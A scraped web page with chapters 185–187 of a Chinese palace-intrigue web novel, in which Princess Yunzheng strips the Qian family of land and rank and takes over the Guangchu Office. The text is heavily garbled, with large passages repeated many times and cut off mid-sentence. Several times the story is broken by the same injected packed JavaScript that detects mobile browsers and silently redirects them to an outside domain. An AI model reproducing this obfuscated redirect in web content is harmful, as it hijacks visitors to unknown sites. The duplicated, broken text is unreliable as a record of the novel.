云筝终于高兴了,脸上扬起一抹笑,“还有,我受了巨大的惊吓,让钱家割让江南万亩良田给我压惊吧。” 钱维猛的抬头,眼神凶猛,找死! 却不知,同一时间,厉无恙冰冷的目光锁定了他。 皇上没好气的轻斥,“胡闹,钱家哪有万亩良田?” 厉无恙清冷的声音响起,“有,全记成了祭田,万亩祭田都比皇家多了。” 按规定,就算抄家,祭田不会被没收,祭田的收入也不征税。 所以,很多人家会多买一些良田充为祭田,就算家族败落了,子孙回家读书务农,这是最后的退路,更是东山再起的希望。 但,你这万亩祭田太夸张了,哪来的?当然是民脂民膏! 皇上的脸色瞬间铁青。 钱维心底升起一丝骇意,脸色瞬间发白,糟了,犯了皇上的忌讳! 要完蛋了! 皇上动摇了。 厉无恙淡淡瞥了他一眼,“皇上,既然破了例,为什么不能有第二次?总是被刺杀,也不是一个事啊。” 就是因为没有权力在手!谁都敢咬她一口! 郡主是虚职,对普通人来说,是高不可攀。 对那些心高气傲的官员来说,只是一个好看的摆设。 皇上想了想,“罢了,朕同意了,但,如果乱来,朕照样会拿你开刀。” 云筝笑眯眯的点头,“好啊,我的要求不高,您怎么对待钱大人和张总管的,就怎么对我呗。” 所有人沉默了。 皇上对这两家可谓是不遗余力的提拔,没有经过科举,直接选官,一步步培养,将他们送上高位。 云筝却很满意,立的第一个小目标完成了。 把顶头上司掀翻,自己顶上! “还有,我要江南知府的位置。” 皇上没好气的瞪了她一眼,“你胡说什么?江南知府岂是你想要就能要的?” 云筝嘟起嘴,委屈又无辜,“可是,钱老夫人就能随意安排官员啊,我比她差哪里了?” 皇上闻声色变。 钱维的心悬了起来,这哪是要江南知府的位置,分明是暗搓搓的告状。 皇上深吸一口气,“换一个条件。” 云筝眼珠转了几转,“皇上,钱家欠我江南十五座田庄,十八家铺面,让他们马上归还我。” 这下子钱维急了,这是钱家的根基,“我们已经达成协议,说好了分五年归还,你怎么能反悔?” 云筝冷笑一声,她都在钱家刺遇了,还指望她遵守协议? “皇上,您听到了吧?这就是他们想刺杀我的原因之一,除掉我,这些东西都不用归还了。” 她将协议双手递上去,皇上看完,眼睛微眯,原来都是云家上贡的产业。 “钱维,做错事情就要认,立马归还云家的产业。” 皇上都发话了,钱维还能怎么办?只能低头认怂,“是。” 云筝终于高兴了,脸上扬起一抹笑,“还有,我受了巨大的惊吓,让钱家割让江南万亩良田给我压惊吧。” 钱维猛的抬头,眼神凶猛,找死! 却不知,同一时间,厉无恙冰冷的目光锁定了他。 皇上没好气的轻斥,“胡闹,钱家哪有万亩良田?” 厉无恙清冷的声音响起,“有,全记成了祭田,万亩祭田都比皇家多了。” 按规定,就算抄家,祭田不会被没收,祭田的收入也不征税。 所以,很多人家会多买一些良田充为祭田,就算家族败落了,子孙回家读书务农,这是最后的退路,更是东山再起的希望。 但,你这万亩祭田太夸张了,哪来的?当然是民脂民膏! 皇上的脸色瞬间铁青。 钱维心底升起一丝骇意,脸色瞬间发白,糟了,犯了皇上的忌讳! 要完蛋了! 皇上动摇了。 厉无恙淡淡瞥了他一眼,“皇上,既然破了例,为什么不能有第二次?总是被刺杀,也不是一个事啊。” 就是因为没有权力在手!谁都敢咬她一口! 郡主是虚职,对普通人来说,是高不可攀。 对那些心高气傲的官员来说,只是一个好看的摆设。 皇上想了想,“罢了,朕同意了,但,如果乱来,朕照样会拿你开刀。” 云筝笑眯眯的点头,“好啊,我的要求不高,您怎么对待钱大人和张总管的,就怎么对我呗。” 所有人沉默了。 皇上对这两家可谓是不遗余力的提拔,没有经过科举,直接选官,一步步培养,将他们送上高位。 云筝却很满意,立的第一个小目标完成了。 把顶头上司掀翻,自己顶上! “还有,我要江南知府的位置。” 皇上没好气的瞪了她一眼,“你胡说什么?江南知府岂是你想要就能要的?” 云筝嘟起嘴,委屈又无辜,“可是,钱老夫人就能随意安排官员啊,我比她差哪里了?” 皇上闻声色变。 钱维的心悬了起来,这哪是要江南知府的位置,分明是暗搓搓的告状。 皇上深吸一口气,“换一个条件。” 云筝眼珠转了几转,“皇上,钱家欠我江南十五座田庄,十八家铺面,让他们马上归还我。” 这下子钱维急了,这是钱家的根基,“我们已经达成协议,说好了分五年归还,你怎么能反悔?” 云筝冷笑一声,她都在钱家刺遇了,还指望她遵守协议? “皇上,您听到了吧?这就是他们想刺杀我的原因之一,除掉我,这些东西都不用归还了。” 她将协议双手递上去,皇上看完,眼睛微眯,原来都是云家上贡的产业。 “钱维,做错事情就要认,立马归还云家的产业。” 皇上都发话了,钱维还能怎么办?只能低头认怂,“是。” 云筝终于高兴了,脸上扬起一抹笑,“还有,我受了巨大的惊吓,让钱家割让江南万亩良田给我压惊吧。” 钱维猛的抬头,眼神凶猛,找死! 却不知,同一时间,厉无恙冰冷的目光锁定了他。 皇上没好气的轻斥,“胡闹,钱家哪有万亩良田?” 厉无恙清冷的声音响起,“有,全记成了祭田,万亩祭田都比皇家多了。” 按规定,就算抄家,祭田不会被没收,祭田的收入也不征税。 所以,很多人家会多买一些良田充为祭田,就算家族败落了,子孙回家读书务农,这是最后的退路,更是东山再起的希望。 但,你这万亩祭田太夸张了,哪来的?当然是民脂民膏! 皇上的脸色瞬间铁青。 钱维心底升起一丝骇意,脸色瞬间发白,糟了,犯了皇上的忌讳! 要完蛋了! 皇上动摇了。 厉无恙淡淡瞥了他一眼,“皇上,既然破了例,为什么不能有第二次?总是被刺杀,也不是一个事啊。” 就是因为没有权力在手!谁都敢咬她一口! 郡主是虚职,对普通人来说,是高不可攀。 对那些心高气傲的官员来说,只是一个好看的摆设。 皇上想了想,“罢了,朕同意了,但,如果乱来,朕照样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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所以,很多人家会多买一些良田充为祭田,就算家族败落了,子孙回家读书务农,这是最后的退路,更是东山再起的希望。 但,你这万亩祭田太夸张了,哪来的?当然是民脂民膏! 皇上的脸色瞬间铁青。 钱维心底升起一丝骇意,脸色瞬间发白,糟了,犯了皇上的忌讳! 要完蛋了! 皇上动摇了。 厉无恙淡淡瞥了他一眼,“皇上,既然破了例,为什么不能有第二次?总是被刺杀,也不是一个事啊。” 就是因为没有权力在手!谁都敢咬她一口! 郡主是虚职,对普通人来说,是高不可攀。 对那些心高气傲的官员来说,只是一个好看的摆设。 皇上想了想,“罢了,朕同意了,但,如果乱来,朕照样会拿你开刀。” 云筝笑眯眯的点头,“好啊,我的要求不高,您怎么对待钱大人和张总管的,就怎么对我呗。” 所有人沉默了。 皇上对这两家可谓是不遗余力的提拔,没有经过科举,直接选官,一步步培养,将他们送上高位。 云筝却很满意,立的第一个小目标完成了。 把顶头上司掀翻,自己顶上! “还有,我要江南知府的位置。” 皇上没好气的瞪了她一眼,“你胡说什么?江南知府岂是你想要就能要的?” 云筝嘟起嘴,委屈又无辜,“可是,钱老夫人就能随意安排官员啊,我比她差哪里了?” 皇上闻声色变。 钱维的心悬了起来,这哪是要江南知府的位置,分明是暗搓搓的告状。 皇上深吸一口气,“换一个条件。” 云筝眼珠转了几转,“皇上,钱家欠我江南十五座田庄,十八家铺面,让他们马上归还我。” 这下子钱维急了,这是钱家的根基,“我们已经达成协议,说好了分五年归还,你怎么能反悔?” 云筝冷笑一声,她都在钱家刺遇了,还指望她遵守协议? “皇上,您听到了吧?这就是他们想刺杀我的原因之一,除掉我,这些东西都不用归还了。” 她将协议双手递上去,皇上看完,眼睛微眯,原来都是云家上贡的产业。 “钱维,做错事情就要认,立马归还云家的产业。” 皇上都发话了,钱维还能怎么办?只能低头认怂,“是。” 云筝终于高兴了,脸上扬起一抹笑,“还有,我受了巨大的惊吓,让钱家割让江南万亩良田给我压惊吧。” 钱维猛的抬头,眼神凶猛,找死! 却不知,同一时间,厉无恙冰冷的目光锁定了他。 皇上没好气的轻斥,“胡闹,钱家哪有万亩良田?” 厉无恙清冷的声音响起,“有,全记成了祭田,万亩祭田都比皇家多了。” 按规定,就算抄家,祭田不会被没收,祭田的收入也不征税。 所以,很多人家会多买一些良田充为祭田,就算家族败落了,子孙回家读书务农,这是最后的退路,更是东山再起的希望。 但,你这万亩祭田太夸张了,哪来的?当然是民脂民膏! 皇上的脸色瞬间铁青。 钱维心底升起一丝骇意,脸色瞬间发白,糟了,犯了皇上的忌讳! 要完蛋了! 皇上动摇了。 厉无恙淡淡瞥了他一眼,“皇上,既然破了例,为什么不能有第二次?总是被刺杀,也不是一个事啊。” 就是因为没有权力在手!谁都敢咬她一口! 郡主是虚职,对普通人来说,是高不可攀。 对那些心高气傲的官员来说,只是一个好看的摆设。 皇上想了想,“罢了,朕同意了,但,如果乱来,朕照样会拿你开刀。” 云筝笑眯眯的点头,“好啊,我的要求不高,您怎么对待钱大人和张总管的,就怎么对我呗。” 所有人沉默了。 皇上对这两家可谓是不遗余力的提拔,没有经过科举,直接选官,一步步培养,将他们送上高位。 云筝却很满意,立的第一个小目标完成了。 把顶头上司掀翻,自己顶上! “还有,我要江南知府的位置。” 皇上没好气的瞪了她一眼,“你胡说什么?江南知府岂是你想要就能要的?” 云筝嘟起嘴,委屈又无辜,“可是,钱老夫人就能随意安排官员啊,我比她差哪里了?” 皇上闻声色变。 钱维的心悬了起来,这哪是要江南知府的位置,分明是暗搓搓的告状。 皇上深吸一口气,“换一个条件。” 云筝眼珠转了几转,“皇上,钱家欠我江南十五座田庄,十八家铺面,让他们马上归还我。” 这下子钱维急了,这是钱家的根基,“我们已经达成协议,说好了分五年归还,你怎么能反悔?” 云筝冷笑一声,她都在钱家刺遇了,还指望她遵守协议? “皇上,您听到了吧?这就是他们想刺杀我的原因之一,除掉我,这些东西都不用归还了。” 她将协议双手递上去,皇上看完,眼睛微眯,原来都是云家上贡的产业。 “钱维,做错事情就要认,立马归还云家的产业。” 皇上都发话了,钱维还能怎么办?只能低头认怂,“是。” 云筝终于高兴了,脸上扬起一抹笑,“还有,我受了巨大的惊吓,让钱家割让江南万亩良田给我压惊吧。” 钱维猛的抬头,眼神凶猛,找死! 却不知,同一时间,厉无恙冰冷的目光锁定了他。 皇上没好气的轻斥,“胡闹,钱家哪有万亩良田?” 厉无恙清冷的声音响起,“有,全记成了祭田,万亩祭田都比皇家多了。” 按规定,就算抄家,祭田不会被没收,祭田的收入也不征税。 所以,很多人家会多买一些良田充为祭田,就算家族败落了,子孙回家读书务农,这是最后的退路,更是东山再起的希望。 但,你这万亩祭田太夸张了,哪来的?当然是民脂民膏! 皇上的脸色瞬间铁青。 钱维心底升起一丝骇意,脸色瞬间发白,糟了,犯了皇上的忌讳! 要完蛋了! 第186章 云筝是个好孩子 皇上语气淡漠如雪,“钱维,你这就把钱家的万亩良田上交国库,允许你留五百亩充作祭田。 这么大一笔田产是不可能放在私人名下,谁都不行。 云筝是无所谓,她本来就不是真想要这万亩良田,自家那么多田庄呢。 但,钱维肝胆欲裂,这是钱家最后的退路啊。 就算明知会惹皇上不喜,他还是想争一争,说不定就成了呢。 “皇上,还请皇上给钱家留一条生路。 没有了这万亩良田,没有了十五座田庄,十八家铺面,也失去了四十万两银子,钱家被扒的干干净净,成了空架子。 他多年的心血付诸东流。 厉无恙淡淡的道,“普天之下莫非王土,皇上想要收回,你敢抗旨不遵? “皇上,看来对您有怨啊。 “臣不敢。 皇上的脸色不好看,“就这么决定了,若让朕再听到钱家的不法之事,一并治罪。 钱维又气又恼又无奈,这京城不利他,他想回江南了! 江南才是他的地盘,他呼风唤雨,为所欲为的地方。 云筝撇了撇嘴,皇上还是想保住钱家,看来,只要钱老夫人活着一日,钱家就不会倒。 罢了,中风的钱老夫人还能活多久呢。 不过,钱家这次想全身而退是不可能的。 她还留了一手,嘻嘻。 钱惠张了张嘴,想说话,但想到祖母的教诲,硬是将到嘴的话咽了回去。 皇上不喜欢女子干政,更不喜欢嫔妃为自家谋福利,忍! 留得青山在,不怕没柴烧。 厉无恙看了过来,“钱昭仪,你有什么想说的? 云筝惊讶的瞪大眼睛,“昭仪?不是才人吗?看来钱大小姐深得皇上的宠爱,不愧是奶娘教出来的小小奶娘。 众人:……神踏马小小奶娘! 皇上嘴上抽了抽,有些不忍直视钱惠的脸。 就在此时,外面传来喧哗声。 皇上很不悦,吩咐下去。“去看看,何事喧哗?“ 小太监匆匆而去,不一会儿就匆匆而回。 他面色惊惶,“皇后娘娘带着嫔妃们跪在 外面,说……” 皇上眉头微蹙,那些女人又怎么了?“说什么?” 小太监战战兢兢的说道,“说钱家犯事下了大牢,钱氏不堪为后宫嫔妃,请求将她打入冷宫。” 钱家父女大惊失色,钱惠眼眶一红,娇柔又无助,“皇上。” 皇上有些恼了,“胡闹。” 他走出内殿,云筝立马跟了出去,赶紧凑热闹呀。 钱家父女俩相视一眼,都急的不行,怎么会这样? 宫中嫔妃在皇后的带领下,齐刷刷的跪在大殿前。 皇上居高临下的看着她们,轻声喝斥,“你们成何体统?还不快起来。” 皇后仰着脑袋,大声说道,“皇上,钱氏一进宫就被封为昭仪,宠冠六宫,臣妾们本来很高兴有这么一个姐妹,也算是为我们分忧。” 钱惠一进来就得到了独宠,一连几日都侍寝,还将原定的才人改成了昭仪,自然是成了众嫔妃的眼中钉,肉中刺。 “但听说钱家犯事了,一想到会损及皇上的清誉,臣妾忧心如焚,还请皇上将钱氏打入冷宫。” 贵妃向来跟皇后不对盘,但在这件事统一战线。 她知道,皇上对钱老夫人很有感情,而钱惠一进宫,这份感情就有了寄托之处。 或许,不是刻骨铭心的爱情,但,时间长了,谁知道会发生什么事。 不如早早将危险扼杀在摇篮里。 钱家野心勃勃啊,不得不防。 “皇上,钱氏有一个犯事的娘家,臣妾一想到要跟犯官之后姐妹相称,就如鲠在喉。” 淑妃也柔声劝道,“皇上,钱氏品行不佳,不堪为后妃,请皇上明鉴。” 钱惠面对后宫巨大压力,脸色发白。 她早就知道,在宫中光哄好皇上是不行的,但,没想到这么难。 对手要么不发难,一动手就让她无翻身之力。 钱维急的直跳脚,大声说道,“皇上,钱家的事还没有一个定论,后妃们就一口一声给钱家定罪,是不是太着急了?这算不算上下串连呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025443|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇后眼神一冷,“钱大人,你这是要干预后宫之事?” 钱维好不容易将女儿送进宫中,还指望她带飞全家。 “臣不敢,只是臣为自家 叫屈,臣祖孙三代都忠心耿耿,竭尽全力为皇上尽忠,却不想落得如此下场。” 皇上眉头紧皱,左右为难。 云筝看看这个,看看那个,钱家的野心昭然若揭,后宫嫔妃联合起来对付她,太正常了。 难道等着她爬上去,狠狠碾压她们吗? 忽然,听到皇后叫她的名字,“锦云郡主,听闻你在钱家遇袭,可有此事?” 云筝不假思索的点头,“有。” 云筝第一时间让李嬷嬷往后宫递消息,狠狠捅钱惠一刀子。 想吹枕头风?做梦! 皇后几人一合计,索性趁她病,要她命。 趁钱惠刚进宫,还没有站稳脚跟,直接断了她的后路。 “皇上可有给你一个交待?” 云筝不假思索的说道,“我什么都不求,只要皇上开心就好,其他都不重要。” 什么叫会说话?会做人?这就是了! 皇后深深的看了她一眼,以退为进这一手玩的真好。 幸好,她不进后宫,否则,谁是她的对手。 皇上眉眼染上一丝笑意,别看锦云平时闹腾,但,关键时刻就是贴心。 最难得的是,她一片忠心向着朕。 再讨厌钱家人,为了朕的体面宁可受委屈。 要知道,她平时是个不肯受半点气的人,有仇必须当场报,不带隔夜的。 好,是个好孩子。 必须给她一个交待,不能让她寒了心! “经查,行刺者是永宁的贴身嬷嬷,当场毙命,诛其全家。” “永宁,剃度出家,就是方外之人,今后不得出清凉庵一步。” 这是圈禁,没了自由,往后余生只能困在小小的庵庙中。 他的一句话就决定了无数人的命运。 他的目光落在钱维身上,沉吟不语。 钱维心头剧颤,不由自主的跪倒在地,“求皇上开恩。” 第187章 立威,得自己来 皇上继续说道,“钱家有失察之罪,罚……钱家在永宁剃度之日当众向锦云郡主赔礼道歉,并拿出二十万两银子当赔礼。” **诛心,既诛了永宁的心,又狠狠打了钱家两巴掌。 当着那么多勋贵宗室的面道歉,钱家的脸面全失,被云筝狠狠踩在脚底下。 还等于宣告,他们钱家失了圣心! 这可杀了他们还难受。 钱维倒抽一口冷气,皇上的心偏了,以前是偏着钱家,如今是偏向了云筝。 就因为她会搞钱吗? 以前二十万两不在话下,可如今,钱家已经是个空壳子,哪拿得出那么多钱,难道要靠典当过活? “皇上,我真的没钱了。” 皇上来了一句,“有钱给姻亲付赎金,却没钱赔礼?” 钱维愣了一下,随后脸色发白,原来他给江闻舟付赎金一事,已经惹了皇上不快。 “臣,遵命。” 他得去跟平西侯把钱要回来,平西侯府是穷了,但,有一座侯府。 还有,赐爵时,一并赐下来的田庄,都是不能变卖的,只传给继承爵位的人。 嗯,这个可以动动手脚。 皇上的目光落在钱惠身上,眼神淡漠,“至于钱氏,降为才人,永不晋级。” 钱惠如五雷轰顶,眼前一阵阵发黑。 永不晋级?就是说,她永远不可能成为贵妃,皇后,哪怕她生了孩子,也不可能母凭子贵。 她没有了未来!也看不到希望! 啊啊啊,好绝望! 这才是最致命一击,把钱家的谋算全部击碎。 但此时的她不知道,这不是最致命的,还有让她更绝望的事即将发生。 内务府,张总管看着又杀回来的云筝,无声的叹息。 她跟钱家斗了半天,居然没输!不可思议! 那可是最得圣宠的钱家,钱老夫人气到中风的情况下,云筝依旧赢的漂亮。 “张总管,这是皇上的旨意,你看看。” 张总管接过来一看,广储司新一任主官,是云筝。 就是说,从此以后,广储司成了她的势力范围。 “你还有**权?还能 便宜行事?直接向皇上负责?” 这是首开先例,等于给了她独立操盘的权利,无须受他这个顶头上司的制约。 云筝知道,这才是皇上给她的补偿,不是金钱,而是独掌一司的权力。 张总管心里百味俱陈,“需要本官协助吗?” “不用。”云筝吩咐下去,“通知广储司所有人,开会。” 立威,得自己来! 内务府分七司,广储司是其中之一,统辖银、皮、缎、衣、茶、瓷六库,官吏加买卖人共有三百多人。 有些出差去外地了,在京城数得着名号的有一百多人。 这么多人全挤在院子里,黑压压的一片。 众人七嘴八舌,“到底什么情况?锦云郡主怎么通知我们开会?她这是喧宾夺主,郑大人才是主官啊。” “确实过了,有九千岁当依仗就是不一样。” “好好的女儿家抛头露面,争权夺利,实在是太难看了,将来哪个男人敢娶她?” “还想压我们这些大男人一头,野心勃勃,皇上怎么就纵着她?哎。” 有人眼尖,大声叫到,“郑大人来了。” 郑大人出现在众人面前,气色极差,像是大病了一场。 他的几个心腹纷纷上前表达立场,“郑大人,您放心,我们都是站在你这边的,区区一个女子休想在内务府立足,更别想跟您争权。” “我实在不喜欢有野心的女人,再美也不喜欢,我是不会听她命令行事的。” “郑大人,我只听您的命令,其他人算什么东西?” 但出乎他们的意料,郑大人出奇的沉默,这是怎么了? 他可不是大度的人,将权力看的比什么都重要,谁敢跟他争,那是找死。 大家你看看我,我看看你,有种不好的预感。 “郡主来了。” 大家齐刷刷的看过去,一个身着官服的美丽女子在侍卫的簇拥下走过来。 有人变了脸色,“咦,她的官服……不对啊,是不是弄错了?” 官服有明确规定,一品绯袍,绣仙鹤;二品绯袍,绣锦鸡;三品绯袍,绣孔雀;四品绯袍,绣云雁;五品青袍,绣白鹇;六品青袍,绣鹭鸶。注(1) 而云筝穿的四 品绯袍,问题是,广储司郎中是五品,主官才是四品。 穿错了?怎么可能?官服又不是商品,可以随意买卖。 云筝越过人群,走到最高的台阶,目光扫视众人,众人齐刷刷的行礼。 “见过郡主。” 云筝居高临下的看着他们,“以后叫我小云大人,人都来齐了?” 沉默,还是沉默,没人站出来回话。 显然,这些人是沉默的**,不满云筝的空降。 云筝的眼睛微眯,目光锁定最前面的郑大人。 “郑大人,人都来齐了吗?” 郑大人沉默不语,四目相对,火花四溅,似是激烈的交战,谁都没有退开。 云筝眼神清冷的可怕,气场强大。 最后,郑大人率先转头,扫了一圈,“有几个没到,是银库的……” 他念了几个人名,各库司库都来了,一个没少,但,他们下面的人没来。 云筝微颌首,看向一边的孙守信。 “没通知到?” 孙守信也身着官服,心情非常激动,一眨眼他就成了六品官员,开心! 全靠郡主带飞!感恩! “都通知了,应该是不想来。” 云筝点了点头,“行,那就永远不要来了,免去这几个人的官职。” “是。” 人群一阵骚动,郑大人深吸一口气,“郡主,您有什么权利免去内务府官员官职?” 云筝神色淡淡的道,“皇上给了我任免之权,谁若不满,尽可以去皇宫外跪求。” “不过,钱家刚刚被贬,皇上余怒未消,谁想去触霉头,尽管去。” 谁敢去?大家不约而同的低头。 郑大人嘴里发苦,身为主官,却被云筝压制住了。 一名低阶官员见状,大声嚷嚷,“罢免,也需要一个理由吧。” 云筝瞥了一眼,这是郑大人的亲信。 “不听我的话,阳奉阴违,背后背刺我,这些都将是罢免的理由,你们都记下了。” 她这是要拿他们开刀?众人面面相觑,慌的要命。 云筝这才不慌不忙的取出圣旨,“圣旨到,跪。” 开始,动真格了! 品绯袍,问题是,广储司郎中是五品,主官才是四品。 穿错了?怎么可能?官服又不是商品,可以随意买卖。 云筝越过人群,走到最高的台阶,目光扫视众人,众人齐刷刷的行礼。 “见过郡主。” 云筝居高临下的看着他们,“以后叫我小云大人,人都来齐了?” 沉默,还是沉默,没人站出来回话。 显然,这些人是沉默的**,不满云筝的空降。 云筝的眼睛微眯,目光锁定最前面的郑大人。 “郑大人,人都来齐了吗?” 郑大人沉默不语,四目相对,火花四溅,似是激烈的交战,谁都没有退开。 云筝眼神清冷的可怕,气场强大。 最后,郑大人率先转头,扫了一圈,“有几个没到,是银库的……” 他念了几个人名,各库司库都来了,一个没少,但,他们下面的人没来。 云筝微颌首,看向一边的孙守信。 “没通知到?” 孙守信也身着官服,心情非常激动,一眨眼他就成了六品官员,开心! 全靠郡主带飞!感恩! “都通知了,应该是不想来。” 云筝点了点头,“行,那就永远不要来了,免去这几个人的官职。” “是。” 人群一阵骚动,郑大人深吸一口气,“郡主,您有什么权利免去内务府官员官职?” 云筝神色淡淡的道,“皇上给了我任免之权,谁若不满,尽可以去皇宫外跪求。” “不过,钱家刚刚被贬,皇上余怒未消,谁想去触霉头,尽管去。” 谁敢去?大家不约而同的低头。 郑大人嘴里发苦,身为主官,却被云筝压制住了。 一名低阶官员见状,大声嚷嚷,“罢免,也需要一个理由吧。” 云筝瞥了一眼,这是郑大人的亲信。 “不听我的话,阳奉阴违,背后背刺我,这些都将是罢免的理由,你们都记下了。” 她这是要拿他们开刀?众人面面相觑,慌的要命。 云筝这才不慌不忙的取出圣旨,“圣旨到,跪。” 开始,动真格了! 品绯袍,问题是,广储司郎中是五品,主官才是四品。 穿错了?怎么可能?官服又不是商品,可以随意买卖。 云筝越过人群,走到最高的台阶,目光扫视众人,众人齐刷刷的行礼。 “见过郡主。” 云筝居高临下的看着他们,“以后叫我小云大人,人都来齐了?” 沉默,还是沉默,没人站出来回话。 显然,这些人是沉默的**,不满云筝的空降。 云筝的眼睛微眯,目光锁定最前面的郑大人。 “郑大人,人都来齐了吗?” 郑大人沉默不语,四目相对,火花四溅,似是激烈的交战,谁都没有退开。 云筝眼神清冷的可怕,气场强大。 最后,郑大人率先转头,扫了一圈,“有几个没到,是银库的……” 他念了几个人名,各库司库都来了,一个没少,但,他们下面的人没来。 云筝微颌首,看向一边的孙守信。 “没通知到?” 孙守信也身着官服,心情非常激动,一眨眼他就成了六品官员,开心! 全靠郡主带飞!感恩! “都通知了,应该是不想来。” 云筝点了点头,“行,那就永远不要来了,免去这几个人的官职。” “是。” 人群一阵骚动,郑大人深吸一口气,“郡主,您有什么权利免去内务府官员官职?” 云筝神色淡淡的道,“皇上给了我任免之权,谁若不满,尽可以去皇宫外跪求。” “不过,钱家刚刚被贬,皇上余怒未消,谁想去触霉头,尽管去。” 谁敢去?大家不约而同的低头。 郑大人嘴里发苦,身为主官,却被云筝压制住了。 一名低阶官员见状,大声嚷嚷,“罢免,也需要一个理由吧。” 云筝瞥了一眼,这是郑大人的亲信。 “不听我的话,阳奉阴违,背后背刺我,这些都将是罢免的理由,你们都记下了。” 她这是要拿他们开刀?众人面面相觑,慌的要命。 云筝这才不慌不忙的取出圣旨,“圣旨到,跪。” 开始,动真格了! 品绯袍,问题是,广储司郎中是五品,主官才是四品。 穿错了?怎么可能?官服又不是商品,可以随意买卖。 云筝越过人群,走到最高的台阶,目光扫视众人,众人齐刷刷的行礼。 “见过郡主。” 云筝居高临下的看着他们,“以后叫我小云大人,人都来齐了?” 沉默,还是沉默,没人站出来回话。 显然,这些人是沉默的**,不满云筝的空降。 云筝的眼睛微眯,目光锁定最前面的郑大人。 “郑大人,人都来齐了吗?” 郑大人沉默不语,四目相对,火花四溅,似是激烈的交战,谁都没有退开。 云筝眼神清冷的可怕,气场强大。 最后,郑大人率先转头,扫了一圈,“有几个没到,是银库的……” 他念了几个人名,各库司库都来了,一个没少,但,他们下面的人没来。 云筝微颌首,看向一边的孙守信。 “没通知到?” 孙守信也身着官服,心情非常激动,一眨眼他就成了六品官员,开心! 全靠郡主带飞!感恩! “都通知了,应该是不想来。” 云筝点了点头,“行,那就永远不要来了,免去这几个人的官职。” “是。” 人群一阵骚动,郑大人深吸一口气,“郡主,您有什么权利免去内务府官员官职?” 云筝神色淡淡的道,“皇上给了我任免之权,谁若不满,尽可以去皇宫外跪求。” “不过,钱家刚刚被贬,皇上余怒未消,谁想去触霉头,尽管去。” 谁敢去?大家不约而同的低头。 郑大人嘴里发苦,身为主官,却被云筝压制住了。 一名低阶官员见状,大声嚷嚷,“罢免,也需要一个理由吧。” 云筝瞥了一眼,这是郑大人的亲信。 “不听我的话,阳奉阴违,背后背刺我,这些都将是罢免的理由,你们都记下了。” 她这是要拿他们开刀?众人面面相觑,慌的要命。 云筝这才不慌不忙的取出圣旨,“圣旨到,跪。” 开始,动真格了!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025444|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 品绯袍,问题是,广储司郎中是五品,主官才是四品。 穿错了?怎么可能?官服又不是商品,可以随意买卖。 云筝越过人群,走到最高的台阶,目光扫视众人,众人齐刷刷的行礼。 “见过郡主。” 云筝居高临下的看着他们,“以后叫我小云大人,人都来齐了?” 沉默,还是沉默,没人站出来回话。 显然,这些人是沉默的**,不满云筝的空降。 云筝的眼睛微眯,目光锁定最前面的郑大人。 “郑大人,人都来齐了吗?” 郑大人沉默不语,四目相对,火花四溅,似是激烈的交战,谁都没有退开。 云筝眼神清冷的可怕,气场强大。 最后,郑大人率先转头,扫了一圈,“有几个没到,是银库的……” 他念了几个人名,各库司库都来了,一个没少,但,他们下面的人没来。 云筝微颌首,看向一边的孙守信。 “没通知到?” 孙守信也身着官服,心情非常激动,一眨眼他就成了六品官员,开心! 全靠郡主带飞!感恩! “都通知了,应该是不想来。” 云筝点了点头,“行,那就永远不要来了,免去这几个人的官职。” “是。” 人群一阵骚动,郑大人深吸一口气,“郡主,您有什么权利免去内务府官员官职?” 云筝神色淡淡的道,“皇上给了我任免之权,谁若不满,尽可以去皇宫外跪求。” “不过,钱家刚刚被贬,皇上余怒未消,谁想去触霉头,尽管去。” 谁敢去?大家不约而同的低头。 郑大人嘴里发苦,身为主官,却被云筝压制住了。 一名低阶官员见状,大声嚷嚷,“罢免,也需要一个理由吧。” 云筝瞥了一眼,这是郑大人的亲信。 “不听我的话,阳奉阴违,背后背刺我,这些都将是罢免的理由,你们都记下了。” 她这是要拿他们开刀?众人面面相觑,慌的要命。 云筝这才不慌不忙的取出圣旨,“圣旨到,跪。” 开始,动真格了! 品绯袍,问题是,广储司郎中是五品,主官才是四品。 穿错了?怎么可能?官服又不是商品,可以随意买卖。 云筝越过人群,走到最高的台阶,目光扫视众人,众人齐刷刷的行礼。 “见过郡主。” 云筝居高临下的看着他们,“以后叫我小云大人,人都来齐了?” 沉默,还是沉默,没人站出来回话。 显然,这些人是沉默的**,不满云筝的空降。 云筝的眼睛微眯,目光锁定最前面的郑大人。 “郑大人,人都来齐了吗?” 郑大人沉默不语,四目相对,火花四溅,似是激烈的交战,谁都没有退开。 云筝眼神清冷的可怕,气场强大。 最后,郑大人率先转头,扫了一圈,“有几个没到,是银库的……” 他念了几个人名,各库司库都来了,一个没少,但,他们下面的人没来。 云筝微颌首,看向一边的孙守信。 “没通知到?” 孙守信也身着官服,心情非常激动,一眨眼他就成了六品官员,开心! 全靠郡主带飞!感恩! “都通知了,应该是不想来。” 云筝点了点头,“行,那就永远不要来了,免去这几个人的官职。” “是。” 人群一阵骚动,郑大人深吸一口气,“郡主,您有什么权利免去内务府官员官职?” 